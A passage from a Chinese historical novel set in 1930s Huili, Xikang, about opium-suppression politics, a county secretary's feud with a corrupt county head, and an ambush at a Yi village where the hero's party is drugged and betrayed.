闹不明白的大家族们正处于观察这个林秘书的阶段,此刻也不好直接驳面子不派人去,当然也不能真的派家里读过书上过学能干伶俐的人去,大家都回去在庶出子女里一通倒腾,选了不是很聪明但也不愚蠢的适龄子女,乖乖地给培训班送过去。
反正县里出钱办的班,不学白不学!能学知识,就不亏!
林人梅这段时间也主动去各大家族里转了转,机缘巧合遇到几个少男少女,夸赞了几句做事仔细。被他随口夸赞的这几个人,自然都被送去了培训班。
张家的小杜鹃,便这么稀里糊涂地进了县政府办的禁烟培训班,瘦弱的她也有烟瘾,常年咳嗽,被送去之后便先安排戒毒。
等她脱离了毒瘾,便开始认认真真辛地上课,帮其他同去的少男少女们一起戒毒。
直到有一天,负责教导的医生告诉她,县长秘书要安排一个人陪同某位夫人去成都看病,她被指派去了。
迷迷瞪瞪的小杜鹃,就这么登上一辆小汽车,被送出了会理县城。
而紫苏也熬过了冬天,终于见到了心念念的女儿。
母女俩抱头痛哭,既为死去的小平安伤悲,又欣喜于今生今世竟还能有幸重逢。
周立行第一次见识到官员如此丝滑的操作,叹为观止。
在他和紫苏看来解决起来很困难的事情,在林人梅手里,如同捏个泥娃娃一般,如此简单高效。
不过,周立行羡慕归羡慕,他知道自己是走不上这条路的。
他无父无母,出生微寒,纵有几分力气和武技,却狠不下心杀人求财。他骨子里是头独狼,不喜人多事杂。更别说林人梅那口官话滴水不漏,他这辈子都说不了那么顺溜。
周立行安排石娃子和阿涅带紫苏母女去投奔刘五孃。一来石娃子心系莲妹儿,他希望有情人早成眷属,二来石娃子确实愚钝,留在会理也帮不上什么忙。而阿涅陪着石娃子一起走,相互有个照应,可以共同互送紫苏母女。
他留在会理,一是监督分堂脱离烟土生意,二是答应了要替林人梅做一件事,既是在关二爷面前发了誓的,那最好是办了再走。
否则天高水远,世事难料,他不喜欢爽约。
然而三刀凉十分珍惜自己认的姐姐,她闹着要去送人,并且她还没有去过外地,想去乐山看看三江回流的大佛。
于是,三刀凉、石娃子、阿涅三人,带着紫苏母女,踏上了去乐山的路途。
*
林人梅来了会理城的第三个月,新县长胡一雁姗姗来迟,他带着穿旗袍但灰头土脸的姨太太,身后跟着鼻青脸肿的家丁护卫,进县政府的第一件事,是找个房间,赶紧让姨太太给他点上了鸦片。
林人梅当时的脸色是控制过当的僵硬,几次下意识去摸腰间的枪。
然后县长本人根本顾不上这些,据他所说,他们来的路上被山匪抢了五次,其中两次只被抢了钱财,三次连人都被抢了。
幸好他身上带着委任状,又分了人殿后;殿后的人发现前面出来事,就会赶紧去联络周边的汉人县乡民防或本地士绅袍哥等势力。
虽说前前后后耗费了诸多银钱,欠下了诸多人情,带出来的丫鬟婆子也被抢干净了,但好歹家丁护卫还在,人也平安到了会理上任。
林人梅心想就你带的这几个家丁护卫,还敢带一群丫鬟婆子,真不知道此地民风以抢劫为荣,还是脑袋里塞的全是干谷草!
总之,林人梅非常看不上这个县长。
而县长也不负众望,来了不到三天,就收了一大圈的礼品,还收了一大批的丫头婆子,住所之中立即热热闹闹起来。
他吸鸦片的事情也不胫而走,很快,新鲜的烟土塞满了他的库房。
新县长从四川出发那会儿,四川省已经禁烟督办公署,要求从今年开始禁种罂粟,严禁开设土膏店和私烟馆,严查包庇土膏买卖的公职人员。
西康省这边也按民国政府的统一安排,开展了一系列的禁烟工作。
各县城都收到了省里统一印发的布告,要求不准再种植罂粟,违者缠苗;关闭烟馆,在康定、雅安等地设禁烟处;公职人员必须在一定期限内全部戒烟,且不允许参与私土相关买卖,违者重处等。
新县长千里迢迢来会理任职,主打就是一个山高皇帝远,大烟随便抽,此处烟土生意做的好,金银滚滚来。
林人梅千里迢迢来会理任职,主打就是一个宝刀未老壮志未酬,要为国家尽忠为民族尽责,报效老主官。
这两人,几乎是一照面,就相互明白对面的人绝无可能和平共处。
*
官场上,一上一下,县长毕竟要比县长秘书大一级。
县长这个人虽说在政务上是个草包,但在贪钱捞金、拉帮结派上却是个一等一聪明的。
他面上不说,一来二去烟馆换个灯院的称呼又开了起来,戒毒所的经费批的扣扣搜搜,县城外铲烟苗这种得罪人的活全交给林人梅带来的人,主打一个各类事务全部跟林人梅的意愿反着来。
林人梅白日里上班还是笑眯眯的,一口一个县长英明,实则晚上回去开始竖起靶子练起了枪法。
林人梅的一枪郁气,都发泄在了打靶上。他在军队里是文职,但也从未落下过锻炼,这手枪法还是颇准的。
周立行这段时间跟林人梅来往得劲,时不时就往他院子里钻,看林人梅练枪看得心潮澎湃。
他学过用枪,但用的时候少。他随身带的手枪,子弹也不多,眼下一看能薅林人梅的羊毛,于是厚着脸皮跟着林人梅练,每天打个三发五发子弹也觉得过瘾。
林人梅没想到周立行枪法那么好,二人比了一阵,他这个入伍多年的文职竟然输给了一个袍哥,忍不住叹息有些人就是天赋超然。
周立行骄傲地说,“我开车也开的很好。”
林人梅想起来周立行说他跟着去云南修过路,叹道,“忠义堂把你培养的很好,你这样能写能算,武艺高强,会用枪懂开车的,留着堂口是屈才了。”
周立行沉默了一会儿,“方大哥已经出去了,他希望我留在后方。”
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别人堂口的事,林人梅也不方便多言,他换了话题,“那你不如早日成家留后。”
周立行更沉默了,过了一会儿,周立行突然严肃地开口:“林大哥,小弟有个私事想请教。”
林人梅难得见周立行如此认真,有了些兴趣,“讲。”
“关于感情方面的……”周立行还在努力措辞。
林人梅耳朵一竖,“那你是找对人了,我追求爱人,可是花了不少功夫。我比她大十岁……”
周立行眼神一亮,直白出口,“我喜欢的那个大姐姐,她是别人的姨太太,大我十来岁……”
“砰!”林人梅打脱靶了。
“她是被强迫的,我知道她一直都想逃,我也想过带她跑。”周立行目不转睛地盯着林人梅。
“她愿意吗?”林人梅英俊儒雅,但并不迂腐,他看了一眼周立行,手指不停,换好子弹。
“不知道,我还没来得及问,一场意外,她又回去了。”周立行很是落寞,耷拉着脑袋。
“我不建议你拐别人的老婆,你们袍哥有规矩,干这种事要被追杀的。”林人梅拍了拍周立行的肩膀,“你如果要问我,我的办法就是,让她不再是别人的小老婆。”
周立行被林人梅脸上笑眯眯骨子绽杀气的气场激得背上汗毛一竖,“啊?!”
林人梅端详周立行,突然哈哈大笑,“小兄弟,是我看走眼了,你虽然看起来浑身带煞,内里竟是如此纯良!”
“我知道你的意思,让我杀了那个男人。如果我想做,确实是很简单的事情。”周立行摇着头,“如果我没有当过那几年和尚,没有师兄和师父的教导,我会很兴奋去做这件事。”
“可惜,我已经进过佛门了,念过经发过誓,我不乱杀生。”
“如果为了自己的私欲可以杀人,迟早我也会被别人的私欲杀掉。师父和干爹都让我多行善事,我在滇西修公路的时候,被埋在地下面,干爹的魂来救我,又叮嘱过我不能轻易动杀念,否则不得善终。”
“我不想让她有任何负罪,杀人是最下策。如果她愿意,我有本事带她走。”
林人梅感觉自己心中像是下了一场雨,那些在战场上留下的血痕,骨子里刻上的杀伐,似乎被温润安抚了。
“你说的也对。虽然这个世道,不狠,不绝,成不了事。但不忍,不善,也活不好。”
“你这脾性,就跟一只吃斋念佛的狼一般,日子久了,也许狼性没了,就只能当一只安家犬了。”林人梅用颇为惋惜的口吻打趣周立行。
“她要是能给我个家,我愿意一辈子当安家犬,汪汪汪!”
周立行挤眉弄眼,“好了林大哥,我是想问问,到底怎么才能讨女人喜欢,不是讨女孩喜欢。你年纪大,成熟又能干,你肯定有办法。”
林人梅想起来自己的爱妻,他长叹一口气,“对不住,我帮不了你,我年轻时候长得好看得很,穿着军装往她面前一站,她就喜欢了。”
周立行没想到林人梅竟然给自己这样一个答案,再看林人梅,确实长得好看,甚至比方结义还要俊那么几分,顿时气不顺了:
“你个大男人,要什么好看不好看的!还有,别给我挖坑,我说了没有从军的打算,干爹说了,我杀性重,开了头难结尾……”
“那,你送她喜欢的东西,支持她做想做的事情。”林人梅笑起来,“她喜欢读书,我可是送了她几千册的书籍啊!”
周立行渐渐张大嘴,目光逐渐涣散,“完了……她喜欢挣钱……我穷……”
林人梅哈哈大笑起来,“那没办法了,小伙子,自求多福吧。”
*
时间还未过去一个月,林人梅和胡一雁之间的矛盾便激化了。
胡一雁非要让林人梅的一个下属带队出去铲烟苗。确实上面是有发文件,让各地开春铲除烟苗,然而胡一雁私下已经跟那些种烟土的士绅们都做好了交代,大伙儿往山里种,万不可在官道附近栽种。
此时明面上要让林人梅的下属去铲烟苗,本质就是一种为难。
要真的去铲,必然就要往交通偏僻的地方走,若是去了,路上遇到个什么真山匪假棒客,肯定就交代了。
若不真的去铲,胡一雁肯定立马要拿这个做借口,罢了林人梅的人。
此事一旦有个开头,那胡一雁大可如法炮制,把林人梅的人都抹干净。
周立行见他们只须坐在会议室的桌子上言语交锋,下属就要拿命去拼,看得心惊。
林人梅的下属也不是耙蛋,他虽然也是劝说林人梅不要那么强硬禁烟的人,但不代表他支持欺上瞒下多种鸦片。
当天的上完班,林人梅的五个忠心下属代表便来他家集合,共商如何办理铲烟苗的事情。
周立行恰巧也在,本是要回避的,林人梅却让周立行留下。
61.会理
周立行隐约感受到林人梅的栽培之意。
受人之托,忠人之事,他既是答应了林人梅要为他做一件事,便一定会去做。
不过,他深知自己并不是林人梅的核心成员,于是留下后也谨言慎行,默默地听着,不敢发表意见。
“林参谋,你千万不能带队去。之前这里的县秘就是出城在外挨了冷枪,被打死了。”
“让我去,怕锤子,我多带点人,带枪!找个近便的地主家里,先把人给绑了,然后让他给我指认一处烟苗地,我铲了就走!”
那男人三十左右,名叫许知武,长得虎目宽颌,一副不怕死的样子,兵味重得很。
林人梅摇头,“这摆明了是圈套,去了必然被伏击。枪?你有,他们也有,不要冲动。我把你们带到这里来,不是让你们轻易请送死的。”
大家都知道,只要出了这高墙保护的县城,不走官道,那真是叫天天不应,叫地地不灵。
更何况,胡一雁绝对没安好心。
“最近从四川那边来了些人,住在胡一雁那里。我看那些人,行事风格颇有些像中统的。这次让我们去铲烟苗的局,怕不仅仅是胡一雁布的。”
有个戴眼镜的中年男人开口,颇有些忧虑。
林人梅点头,“中统也好,军统也罢,只能见招拆招了。西康是咱们军长最后的自留地,我们决无可能再退让。”
“其实我们只要出了城,必然就会有人来跟踪。不如趁此机会引蛇出洞,直接灭了他们。”
另一人思考片刻,提出建议。
“但现在大部分本地势力都是站在胡一雁那边的,他们的眼线多,怕是抓不完。胡一雁名义上是四川那边派过来任的县长,但凡他还在,都是后患无穷。”
周立行听着,玩笑一般地开口,“要不,我半夜摸黑去毙了胡一雁?”
众人一顿,纷纷摇起头来,甚至有人笑出了声。
林人梅也摇着头,耐心地解释,“立行,这不是杀一个人就能解决的问题。”
“现在这个局面,是我们西南本地军队势力和老蒋的中央军势力的一种平衡。”
“老蒋染指西康之心不熄,死了胡一雁还有张一雁王一雁。死一个县长,会引来更多的人,比如打着调查旗号来的中统军统,反而是给了老蒋深入西康的理由。”
“在这个抗战的节骨眼上,我们不能轻易打破平衡。”
“江湖堂口一场生死场就能解决很多问题。军政争斗不是江湖意气之争,我们更需要全盘考虑如何处理问题。”
周立行有点理解林人梅所表达的意思,没再做声。
他想到了忠义堂那几个老辈子被自己逼得愁眉苦脸的样子。
不同的是,自己疯起来不要命的闹一场,24军和88军调停一番,忠义堂就能退股。
而这小小一个县城,却有如此多势力盘根错节纠缠,牵一发而动全身,谁都不敢轻举妄动,要铲个烟苗都能如此复杂。
最终林人梅决定,以略高于市价的钱,去找一家信用好的士绅,除了赔偿,还辅赠粮种,给他们买一处烟苗来铲。
若是这个方法能稳妥处理,那之后的禁烟也可以按这个方式慢慢推进,至少能把平坝处的良田慢慢换回粮食耕作。
周立行恍然大悟,突然理解到了平衡之道的涵义。
有堵有疏,有消有长,欲取必予,不能只是一味禁烟,还得给靠种大烟为生的人其它出路。
他要让忠义堂彻底禁大烟这门生意,就还找到一条比烟土生意更赚钱的路。
然而这种信用好、不怕得罪县长的士绅,周边怕还不好找。
大家又陷入了僵局。
“我们分堂定了一批烟苗,不如趁此机会去铲了,赔的钱给分堂抵账。”周立行在边上磕着瓜子,笑嘻嘻地开了腔。
众人大喜过望,只有林人梅提问,“梁承禄能同意?”
周立行笑得狡黠,“本来我就要在分堂禁烟土买卖的。你们再拿着钱和枪让他铲,他能不同意吗?”
众人一听,觉得这个办法可行。
而林人梅也表示了感谢,“小八爷,此事虽是你主动提出,但也算是我的委托。多谢了!”
他这意思,是抵消了之前的约定,以后不会再以之前帮忙救人的事情,请周立行去做其他事情了。
周立行大大方方地引狼入室,回头便带着林人梅的人去找梁承禄。
梁承禄能说什么,只能苦着脸还带着笑收了钱,表示一定把事情办妥。
等林人梅的下属一走,梁承禄又开始唉声叹气:
“小八爷,不是说好了等今年的收成完了再停吗……现在赔偿的烟苗款,跟成熟期比是差很多的……”
周立行只轻描淡写地回答,“已经没亏就好了,帮林县秘的忙,以后他多照管咱们分堂。”
梁承禄有苦说不出,“他个县长秘书而已!哪里比得上县长!”
县长可是私下开了好多山里的烟田!那都是钱啊!
周立行拍拍梁承禄的肩,“原本我们就是要退这个烟土生意的,迟一日不如早一日。至于县秘和县长,站了一边就站稳,不要墙头草。”
虽然梁承禄很想反驳周立行,他想说天下乌鸦一般黑,但周立行明摆了就是不让分堂沾烟土,他知道自己说什么都不起用,只能懊恼地去安排接下来的事情。
*
林人梅拒绝了胡一雁说要从警察局和保安团调人的建议,让许知武直接从当地驻军里调了一个排三十人左右。
但是县城里各家抽出的丁,林人梅还是建议许知武带上。纵然这些人里肯定有两面三刀的,但总归是各家都出了人质。人都趋利避害,盯紧这些人,总有露马脚的,可以当个警报器用。
周立行可没有忘记齐高杰贸然出城去劝战,最后把自己赔进去的事。
他也提防万一梁承禄私下搞鬼,于是揪着梁承禄一起上路,并全程都跟在梁承禄的身后,时刻注意着梁承禄的一举一动。
梁承禄被周立行盯得汗毛倒竖,一路上倒是安分守己。
这一行人出城没多久,行路迂回,确实发现了一些跟踪的人。
但这些人很聪明,并不是跟在队伍后面,而是从半山腰或者其他制高点,默默地观察他们行进的方向,然后消失在树林或是山坳里。
看样子,身手也是十分了得。
知道动向一直被人看着,许知武大发雷霆,把士绅家抽出来的年轻男人全部骂了个狗血淋头,好似他们都是该死的叛徒败类。
大伙儿吓得都不敢跟他说话,队伍气氛压抑得很。
周立行见这般,只好起头跟梁承禄说话,讲了讲他在滇西修路的趣事,讲那边各民族的抗日情怀,讲那月色下的赛歌。
随行而来的士兵都是年轻人,话匣子一打开,大家便热络起来。
平日里周立行并不爱说话,此时他却在众人的起哄下,唱起了一首又一首的山歌。
待大家都轻松起来,有些年轻男人总于忍不住跟他说悄悄话了。
“我们都知道禁烟是好事,前些年我们会理也是禁过几回的……可是,这不是我们想禁就能禁得住的,甚至越禁越多……”
“是啊,就算是那些吃土膏的,也晓得这个东西害人,可没这个东西,大家一样吃不饱饭,交不起税……”
“这东西害人,可这东西挣钱呐!是药三分毒,有毒三分药,穷人家有啥病痛的,也只有这烟土能镇几分……”
“学堂的老师说,吃土膏是饮鸩止渴,啥都要败干净的……”
“自古人为财死,这财去了哪里,谁都晓得!上面下不了狠心,这事就绝无可能成。”
“哎呀,都是嚯人嚯鬼的,我们去做哈样子就行,禁烟?嘿,禁得了个锤子……”
“除非红军来,我听当年过路的红军说过,他们的根据地里没得鸦片,没得一两百种数都数不撑的税,大家都能吃饱饭,穿暖衣!”
“嘘——!别乱说,我们小声点摆……”
周立行没有跟他们一起谈论,他活络了气氛之后,继续专注地跟着梁承禄。
这一路,竟然走了两天一夜。
白日里闷头赶路,饿了就吃干粮,夜里是在山道旁的野屋歇息的,也亏有以前跑镖的梁承禄带路,否则许知武他们打死都找不到这些地方。
梁承禄这一路安分得很,带路也是认认真真的。
他这人外憨内奸,粗中有细,最为惜命。
毕竟临出门的前一天,周立行突然要跟他切磋武艺,他们从赤手空拳比到刀枪棍棒,最后还比了枪法,拳头和冷兵器他没有走过无招的,枪法这个不需要谁比谁准,只需要看谁把枪快便能胜天半子。
总之,他知道自己周立行想要弄他,一个呼吸的时间就够了。
周立行是敢打生死场的主,他梁承禄可不是。
第二天傍晚,梁承禄终于带着一行人到达了寨子,是一群白夷。
夷族分黑和白,对白夷的分类有两种说法,一是较为汉化或收到汉族政权认同的夷族,又称熟夷;二是夷族里的平民,也包含了一部分从娃子奴隶提拔起来的曲诺。
群山延绵起伏,山与山之间偶会出现一些平坦坝子,坝子里出现了开垦好的一些田地,能看到身着夷族服饰劳作的人,他们大都穿黑,身上绣着彩线装饰,身形还算健壮。
周立行这一行人的到来,立即引发了他们的警戒。
田地里的人迅速呼啸,男人们奔跑起来,团结在一处,拿起了放在田地里的枪支,女人们迅速往不远处的村寨撤离。
梁承禄赶紧向许知武报告,许知武立即命令队伍不再往前。
梁承禄本人则是赶紧上前,用夷语和汉语向对方喊话:
“是客人!不是敌人!”
对面的夷族男人们并没有放松戒备,他们中走出一个会汉语的,“山高路长,你们从哪里来,是谁的人,来做什么?”
梁承禄赶紧自报来处,“我是会理忠义分堂的梁承禄,去年年底同你们的头人邓明溪定了一批烟苗,前几日已经派人来跟邓头人送过信,我们要来把烟苗铲回去。”
这件事,村寨的男人们都有所耳闻,这才放下心来。
“你们人也太多了,差点以为是别的寨子请来打冤家的。”
说话那男人松了口气,“你们等会儿,我们派人去跟头人禀告,会有曲诺来接你们。”
在别人的地盘,守别人的规矩。许知武不是莽撞的人,于是招呼大家围圈坐下休息,并叮嘱大家一定要守规矩,不能故意犯夷人的忌讳。
很快,寨子里来了人,这一群十来人是曲诺,他们身材健壮,头戴英雄结,身披查尔瓦,肩膀和腰间的银饰花纹精美,腰间有刀,背上有枪,表情严肃。
为了避免出现误会,梁承禄又担任起了翻译。
不过好在双方会汉话和夷语的人都不少,大家撇开梁承禄也能交流。
许知武心中也不敢完全信任梁承禄,用自己人翻译,主动和曲诺们攀谈起来。
从此处到寨子只需走上十来分钟,周立行眼尖地发现,其实一路上都设置着许多机关陷阱。
山间田野里蜿蜒着许多小径,就像是一张蜘蛛网,可从哪里走,怎么走,若不是熟悉的人带路,其他人一定会踩上陷阱。
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诺队伍里的人也在打量这边的人,周立行眼神停留的地方,基本是他们设置过陷阱的地方,他们看在眼里。
渐渐的,有曲诺主动来和周立行搭话,没说几句,几个曲诺们把周立行左右后的方向都给挡住了,不让他观察寨子周围的情况。
周立行心中失笑,不得不承认这群夷族战士直觉敏锐。
他们的眼神像山顶的鹰,他们的步伐像山中的虎,骨子里就有战斗的本能。
在云南和各族人相处过许久,周立行对于这样的场面毫无波澜,他甚至跟着话题,讲起了滇西的各类趣事。
云南的罗倮族和这里的彝族同根同源,许多神话故事和家族故事是一致的,这短短十几分钟的路,根本不够周立行讲。
等到了寨子的时候,除了队伍里的许知武被当成头人迎上去,周立行的位置也被安排到了贵宾区,梁承禄排在了他后面。
天色渐晚,火塘中赤红的木炭和橘橙色的火焰宛如太阳,驱赶了潮湿,温暖了房间。
村寨的头人、曲诺们围坐在火塘边,与远道而来的客人们聊着天,烤着肉,吃着荞麦粑粑,喝着酸菜汤汤。
“那日小七来送信,我还以为是他传错了话。你们到底咋想的嘛,真的又要禁鸦片了吗?”头人喝着酒,对梁承禄说着话。
梁承禄笑得勉强,只得解释,“上面有要求,总得拿些什么去交差嘛……”
头人啧了一身,满脸嫌弃的表情,“前些年禁种,四处打来打去,人打死了,地染血了,结果还是又种起来。我们喜欢的是高山上的索玛花,不是这个吸人精魂的罂粟花。”
周立行抬眼看向头人,眼神里写着疑惑。
许知武则是长叹了一口气。
头人对视线很敏感,他看向周立行,咧嘴笑了下,大大咧咧地继续说道:
“不种鸦片,挣不了更多的钱,买不起枪,买不起娃子,寨子男人少,别的家支来打冤家要吃亏。打输了,我们都得当呷西。”
在会理这段时间,周立行对夷族的传统也了解了许多。
夷汉混居区域,风俗传统都偏向汉族,但越往凉山里走,等级制度便越森严,不同家支间经常征战,输了的家支族人会沦为呷西。
呷西是奴隶,要被剥掉衣服毒打,最多的财产就是两片羊皮,只能和畜生睡在一起,终生只能为主人种地。
“白日里来的时候,我看田地里劳作的妇女人数颇多,你们的男人们应该不少。”
许知武带过兵,他深知一个地方男女的比例,除非连年战乱,否则女人决多不过男人。
头人喝了一口酒,他可不怕什么官家,径直说出了让梁承禄恨不得钻进地洞里的话语。
“四年前,一只叫红军的队伍来过会理,他们扩红的时候,我们寨子也去了好些男人。”
头人天不怕地不怕,当年通共是死罪,可谁怕死吗?
他们是夷人,却也分白夷和黑夷。
白夷里好些人有汉根,祖上就是汉人,甚至有很多汉人亲家。
可军阀们自己都要打来杀去,对他们更是说翻脸就翻脸。
当年多少寨子不是毁在打冤家的仇杀里,就是死在官家为了功绩时不时以良冒功的剿匪里。死亡,如影随形。
这么多年,只有当年那只红军,是真正纪律严明,作战勇猛,悍不畏死,并且是真心地平等对待他们。
他们看在眼里,记在心里。
他们这只白彝听说了果基约达跟红汉在彝海结盟,都期盼着红汉以后真的能回来。
周立行想起来现场还有一个排的军人在,结果他往许知武那里一看,嚯,许知武假装没听见,跟旁边的士兵们拼起酒来了。
这是?怎么回事?
梁承禄已经喝得二麻二麻,见周立行那样,忍不住在他耳边说道,“嗨呀,听说当年刘文辉追击红军的时候就皮梭慢梭的,早就跟红军眉来眼去的了……有小道消息说,刘主席家里有直通延安的电台,都有军统去康定探查……”
“咳!”许知武使劲地咳了一声。
梁承禄立马打住话头,端起酒去敬许知武,“失言,失言,乱说的,我自罚一杯……”
周立行看得想笑,他也跟着喝了些酒,觉得有些上头,便站起来想去外面清醒一下。
哪知道他刚站起来,就有一个曲诺跟着站起来,兴奋地说道,“这个小兄弟,我们来比一比!”
“?”周立行很是疑惑,正想拒绝,结果头人和许知武都跟着站起来欢呼。
“比一比,男人的拳脚功夫!”
“小八爷,拿出你的本事!”
周立行:“……”
虽然不懂为什么不管走到哪里,大家都要先比划一番,但是……尊重吧,可能男人们就是这样,非得整个强弱高低,才能确认地位身份。
梁承禄脸色一变,拉着周立行,“算了算了,喝了酒呢,明日酒醒了再比……”
周立行不明所以,他喝了酒,浑身发热,正好也想打架发泄下。
“给点彩头,我穷,最近在攒彩礼呢。”
许知武喝酒上头,立马许诺,“彩礼?那我给你压两个银饼子!你要是赢了,拿去打手镯簪子给弟妹!你要是输了,就给对面的曲诺。”
头人立马跟上,“那我压两个娃子!”
一听两个娃子,那曲诺眼神都亮了。
梁承禄无奈,只好往人群后面站。
这边周立行和曲诺开始往场地中间站,那边已经有人带来了两个少年娃子。
“哥!!!”
周立行猛地听到一个熟悉的声音,扭头一看,竟然是阿涅和石娃子!
62.会理
周立行的脑袋里嗡的一声炸响。
阿涅和石娃子怎么会在这里?!
阿涅和石娃子怎么会是寨里的娃子?!
紫苏呢?小杜鹃呢?三刀凉呢?
然而时间根本不待周立行思考,对面的曲诺已经高喊一声,出拳而来。
这个夷族的曲诺,从小便在山野间狩猎,少年时期便参与家支的各类械斗打冤家,可谓是从还会走路便开始和兄弟们打架摔跤的天生战斗者。
曲诺们不需要种地,只需要放牧、狩猎、战斗,他们机警敏锐,搏斗中展现的拳打脚踢摔抱等技巧,更类似于形意拳中的虎跳、猫扑、鹞翻等。
周立行在峨嵋山上习武的时候遇到过太多高手,小小年纪已经被各位师兄师伯们挫败得足够多,以至于下山之后如非必要,很少展示出自己会武艺,但从打金章开始,他就知道,除了那个不知道是死是活的日本人和以及总是势均力敌的冯争鸣外,他未曾真正遇到过敌手。
但是这一次,周立行感觉自己遇到了硬茬子。
真正的高手只需要几个回合,便十分清楚比试中对方的斤两。
周立行这次却觉得十分棘手,对方的战斗直觉强于自己。
高手之间独有的呼应感也笼罩着这位曲诺。
他在家支中除了头人外,难逢敌手,曾经有赤手空拳以一敌八的辉煌事迹。
然而一连过了十来招,他竟没有成功撂倒过对方一次。
从战斗技巧上来说,周立行招式更多,从战斗经验来讲,曲诺反应更快,二者打得十分僵持,从一开始的你来我往,逐渐胶着成纠缠摔跤。
周立行的柔韧性更强,曲诺的力量更大,二人面红耳赤地缠斗在一起,到最后双双在地上翻滚,曲诺凭借自己更大的体重试图锁住周立行。
“哥!加油啊!哥!!”
阿涅在旁边看得心急如焚,大声叫嚷起来。
石娃子是汉人,不像阿涅多少还能说一些夷语,这些日子挨打挨的多,都不敢开口了,只能在旁边呜呜的哭。
阿涅凄厉的喊叫让周立行心中一震,他在打斗的过程中逐渐气血上升,酒意混着战意让他的克制越来越低。到了这一步,周立行已经开始失去理智。
脑袋里紧绷的一根线断掉,周立行无意识地用出了黑老鸹教的压箱底的招式,曲指成钉,以硬气功为底,以寸劲发力,单手绕到嘶吼着以蛮力锁住他的曲诺背后,对准大脊,一个鸡心锤戳了下去。
这一招,是杀招。
鸡心锤,又名穿骨指,力道穿骨透肉,杀伤烈度高;同属这个方式的还有凤眼拳。
周立行在黑老鸹的要求下练这一招的时候,是用红花油涂在手指上,戳了一个月的沙袋,几个月的石头,那时候黑老鸹还教他怎么熬中草药来泡手熬骨,后来黑老鸹走了,他没有继续熬药,但手指上的功夫没有落下,隔三差五都会在墙壁上、石头上练习。
他是连砖头都能戳出洞的,往人的大穴上戳去,非死即瘫,脊骨会被戳断。
在场的彝族头人双眼如鹰,他在曲诺看起来快赢的时候一度激烈地叫好,然而在周立行的手势发生变化后,他敏锐地感受到刺骨的杀意。
头人见过这手势,曾经有一个袍哥,赤手空拳打死过十几个试图劫杀他的男人。
头人见识过这场战斗,对这袍哥的手法铭刻在心。
他毫无质疑,立即将手中的铜酒壶扔了出去!
砰!!!
周立行的手指,击上了一个铜制的酒壶,那酒壶被敲出深深的凹陷,卡在周立行手指和曲诺背脊的中间。
饶是如此,以气带力的寸劲,依旧通过酒壶传导过去,那曲诺噗地一声吐出一口血,晕了过去。
比斗现场出现了小小的混乱,头人的突然出手引发了曲诺们的紧张,周立行那不经意的一戳,隔着戳扁的铜酒壶还造成那么大的伤害,也让许知武瞬间被吓醒。
许知武没想到周立行被锁住了还能有这样的杀招,心中惊叹,正想站起来平息事端,突然手脚一软,跌倒在地。
糟了!许知武赶紧大喊,“酒有问题!”
然而现在喊什么已经无用,即便许知武安排了一部分人不要喝酒,可这有问题的并不只是酒。
所有进口的食物,都有问题。
周立行用杀招引动了浑身气血,爆发之后,酒水里的药性不再被压制,他也感受到了一阵阵眩晕。
他突然串联起了一切。
梁承禄说县秘哪里比得上县长……梁承禄说军统去康定探查……
进入寨子前曲诺们无意识的遮挡,梁承禄试图阻止他们比武时候的慌张……
齐高杰莫名其妙死在夷寨打冤家的调停中……
“梁承禄……”周立行电光石火间,用最后的力气扑向梁承禄。
梁承禄也被这变故吓到,他是有计划,但并不是此时此刻!
惜命的梁承禄直接往头人后面躲,并高喊道,“你们还愣着干什么!斩草除根!”
那头人却露出讥笑的表情,错身让开。
“呵!你们汉人自己的事,自己解决。”
夷族头虽然协助了梁承禄,却并不想亲自去沾染他们的内讧。
他甚至乐于观看这群人自相残杀。
热闹的宴会气氛陡转直下,梁承禄没想到事已至此,夷族头人竟然要隔岸观火!
他之前派人跟这个头人商议的,的确是头人帮助他们设一个陷阱,让这队人失去行动能力,酒后昏睡之时,他再带人毫无风险、轻轻松松做掉这队人。
他筹谋着的是一切尘埃落定,他回到会理县城,再把一切推锅给这群夷人。
但现在事情暴露了,明明这些夷人就是自己的帮凶,难道他们天真地认为,只要夷人不动手,就能置身事外?
他梁承禄背后之人早就算好了,只要把许知武、周立行以及带出来的士兵给杀掉,他梁承禄再反咬一口夷人,到时候夷族和24军的矛盾就会挑起,各大士绅家族的人也死在这里,禁烟一事就能扩大化。
胡一雁作为县长,就能趁着上面没有反应过来的时候,胁迫驻军去剿匪。
如此一来,胡一雁就能坐山观虎斗,会理的夷汉平衡会被再次打破,此地乱了,云南、西康都会收到波及,中统的特务就能更加顺利地侵入……
可现在,周立行竟没有完全失去行动力!许知武等人也还没有醉酒昏睡……开弓没有回头箭,既然已经背叛堂口动了杀心,就必须杀光这些人!
只要杀了这些人,他才能真正被县长以及县长身后之人接受!
梁承禄只得高喊,“张成,罗坤!你们还不动手?!等着被杀吗!”
只见那些县城家族出来的人里,竟有两人未曾用过食水,身上竟然藏着枪,他们站起来,举枪就射。
呯呯枪响,一人试图向周立行开枪,然而周立行一脚踢翻梁承禄面前的桌子躲开,那人怕误射到梁承禄和头人,干脆把枪对准了屋外的阿涅。
剩下一人则是直接开枪想要击杀许知武的部下,好在那些士兵们已被许知武的怒吼惊醒,大家都是日常操练的士兵,只要有了防备,虽然手脚发软也还能尽力躲避。有人被子弹击中,但多数人躲开,并且及时扔出手里的餐具扰乱对方视线。
眼见事态失控,周立行将手中匕首掷出,射中试图强杀阿涅的人,他更加的眩晕了。
梁承禄已经豁出去干这种杀人灭口的事情,他自然首先不会放过周立行,当即扑了过来。
周立行气力不济,一身武艺难以施展,梁承禄好歹也是走江湖的镖师出身,此刻打起来自然是占上风。
周立行连挨几拳,眼见梁承禄拔了夷人身上的佩刀而来。
他愈发视野模糊,四肢发软,想躲也躲不开了!
生死边缘,周立行突然大喊:
“我是红汉!我是红汉的人!”
周立行完全是在赌!
他赌头人说的寨子里很多男人跟着红军走是真的!
赌头人是真的憎恨梁承禄这些人,赌他真的是信服红军!
头人一惊,啪地把佩刀夺回来,手一挥,那些原本隔岸观火的曲诺们当即怒吼起来,将梁承德和剩下的两人按住。
梁承德万万没想到,事态竟会如此发展!
他们推算了无数种可能,做了这个几乎是无解的局。
林人梅要搞禁烟,就让他负责铲烟苗,去得罪周边士绅和山中夷人。
他若拒绝铲烟苗,那就办他个不遵上令、渎职懦弱,让他滚回24军去;会理一地便可以被胡一雁暂时掌握,以等到各方势力再次较量出一个新的县秘。
林人梅如果带队出来,就除掉林人梅。林人梅不出会理县城,必然会派出得力下属,那么就
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斩断林人梅的臂膀干将。
林人梅派出许知武和周立行,只要这些人出了会理县城,他们就绝对不会让这些人活着回去。
